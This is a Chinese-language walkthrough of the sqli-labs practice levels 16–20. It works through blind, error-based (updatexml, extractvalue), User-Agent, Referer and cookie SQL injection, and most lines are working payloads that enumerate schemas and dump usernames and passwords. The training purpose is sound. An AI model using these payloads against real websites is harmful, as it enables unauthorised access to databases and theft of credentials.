Less-16
先尝试输入admn,显示登录成功,但是没有返回信息,又然后尝试输入:uname=admin") or 1=1#&passwd=admin&submit=Submit,回显成功,同样也没有返回信息,与15题的做法相同,使用盲注
爆数据库名:uname=1") or (select ascii(substr(database(),1,1)) >110)#&passwd=admin&submit=Submit
uname=1") or (select ascii(substr(database(),1,1)) >120)#&passwd=admin&submit=Submit
通过测试,得知数据库的第一个字母的ascii值大于110小于120,通过一步步测试可以得出第一个字母的值
爆表名:uname=1") or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100)#&passwd=admin&submit=Submit
uname=1") or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >105)#&passwd=admin&submit=Submit
通过测试,得知当前数据库的表名的第一个字母的ascii值大于100小于105,通过一步步测试可以得出第一个字母的值,继而逐渐得到数据库中的表名
爆users表中的数据:uname=1") or (select ascii(substr((select username from users limit 0,1),1,1))>60)#&passwd=admin&submit=Submit
uname=1") or (select ascii(substr((select username from users limit 0,1),1,1))>70)#&passwd=admin&submit=Submit
通过测试,得到表users中的第一个用户名的第一个字母的ascii值大于60且小于70,逐渐测下去,可以得到所有数据
Less-17 (基于错误的_post_更新查询注入)
尝试注入:uname=123&passwd=123 or 1=1#&submit=Submit ,发现什么变化也没有
再仔细观察,发现了界面显示的内容PASSWORD RESET
尝试输入:uname=admin&passwd=abcd&submit=Submit,登录成功,查看数据库的数据,发现admin的密码改变了
查看后台代码,发现了以下信息,Update 语句用于修改表中的数据。
显然这道题不好用username,这里没有对password进行过滤,可以对password进行注入
得到当前数据库的版本:uname=admin&passwd=admin’ and
updatexml(1,concat(0x7e,version(),0x7e),1)#&submit=Submit
报错注入:updatexml报错原理
格式:updatexml(xml_target, xpath_expr, new_xml);
xpath_expr: 需要更新的xml路径(Xpath格式的字符串)
new_xml:替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
Xpath格式是 /…/…/…,如果我们写入其他格式,就会报错,此时会返回我们写入的错误格式的内容,而这个错误内容就是我们要查询的内容。例如:
当前库名:uname=admin&passwd=admin’ and
updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit
爆出当前库中的表名:uname=admin&passwd=‘or
updatexml(1,concat(’~’,(select table_name from information_schema.tables where
table_schema=‘security’ limit 0,1),’~’),0)#&submit=Submit
只需修改limit的范围,就可爆出当前数据库中的所有表名
uname=admin&passwd=‘or
updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),’~’),0)#&submit=Submit
获取当前表中的部分字段名:uname=admin&passwd=‘or
updatexml(1,concat(’~’,(select column_name from information_schema.columns
where table_name=‘users’ limit 4,1),’~’),0)#&submit=Submit
获取字段中的数据:uname=admin&passwd=’ or updatexml(1,concat(’~’,(select * from(select concat_ws(char(45),id,username,password) from users limit 7,1)as a),’~’),0)#&submit=Submit
Less-18 (基于错误的_post_用户代理_头部注入)
此题为user-agent型注入,需要打开burp suite进行抓包,对user-agent进行修改获取信息
报错注入:extractvalue报错原理
语法:extractvalue(目标xml文档,xml路径)
xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,与updatexml一样,如果路径格式输入错误,就会产生报错,也会输出我们想要的内容,例如:
User-Agent改为:'or extractvalue(1,concat(0x7e,(select database()),0x7e)) or ’
爆当前所在库名
User-Agent改为: ‘or extractvalue(1,concat(0x7e,(select
group_concat(table_name) from information_schema.tables where
table_schema=database()),0x7e)) or ’
爆出当前库中所有的表名
User-Agent改为:’ or extractvalue(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_name=‘users’),0x7e)) or ’
获得users表中的部分字段名
User-Agent改为: 'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_name=‘users’ and column_name not
in(‘user’,‘current_connections’,‘total_connections’)),0x7e)) or ’
获得uses表中剩下的字段名
User-Agent改为:‘or
extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e)) or ’
获得字段中的部分数据
同样使用not in()得到剩下是数据,因为错误信息只显示一部分,同样也可以使用limit偏移注入
User-Agent改为:’ or updatexml(1,concat(’#’,(select * from (select
concat_ws(’#’,id,username,password) from users limit 0,1) a)),0),’’,’’)#
得到字段的部分数据,然后只需要修改limit的范围,就可一步步获得所有数据
User-Agent改为:’ or updatexml(1,concat(’#’,(select * from (select
concat_ws(’#’,id,username,password) from users limit 7,1) a)),0),’’,’’)#
Less-19 (基于错误_POST_Referer_请求头注入
输入admin,登录成功后回显的是Referer而不是User-Agent,判断是referer型注入,首先打开burp suite进行抓包,前面的步骤与上一题相同
Referer改为: ’ or updatexml(1,concat(’~’,(database())),0),’’)#
爆出当前数据库名
Referer改为: ’ or updatexml(1,concat(’~’,(select group_concat(table_name) from
information_schema.tables where table_schema=‘security’)),0),’’)#
爆出当前数据库中的表名
Referer改为: ’ or updatexml(1,concat(’~’,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and
table_name=‘users’)),0),’’)#
获得users表中的字段名
Referer改为: ’ or updatexml(1,concat(’~’,(select * from (select
concat_ws(’~’,id,username,password) from users limit 0,1) a)),0),’’)#
通过改limit的范围,逐步获得字段中的数据
Less-20
此题是基于cookie的注入,输入admin,回显登录成功,但无回显数据,打开burp suite抓包,把POST改为GET,加入cookie,,发给Repeater,然后开始注入
查看列数,得到共3列
Cookie:uname=admin’ order by 3 #
Cookie:uname=admin’ order by 4 #
爆出所有数据库名:Cookie:uname=-1’ union select
1,1,(select group_concat(schema_name) from information_schema.schemata)#
爆出当前数据库中的所有表名:Cookie:uname=-1’ union select
1,1,(select group_concat(table_name) from information_schema.tables where
table_schema=“security” ) #
爆出当前表中的所有字段名:Cookie:uname=-1’ union select
1,1,(select group_concat(column_name) from information_schema.columns where table_name=“users” ) #
爆出表中的所有信息:Cookie:uname=-1’ union select
1,1,(select group_concat(username,password) from security.users ) #
这道题不知道为什么登录成功后无法看到回显信息,在burp抓的包里也没有显示cookie这一行,在网上查解决办法也没有看到,然后想既然burp可以修改,就尝试在burp里进行添加再发给Repeater进行加载,结果居然成功了,震惊!!!虽然现在也不知道为什么不回显信息。。。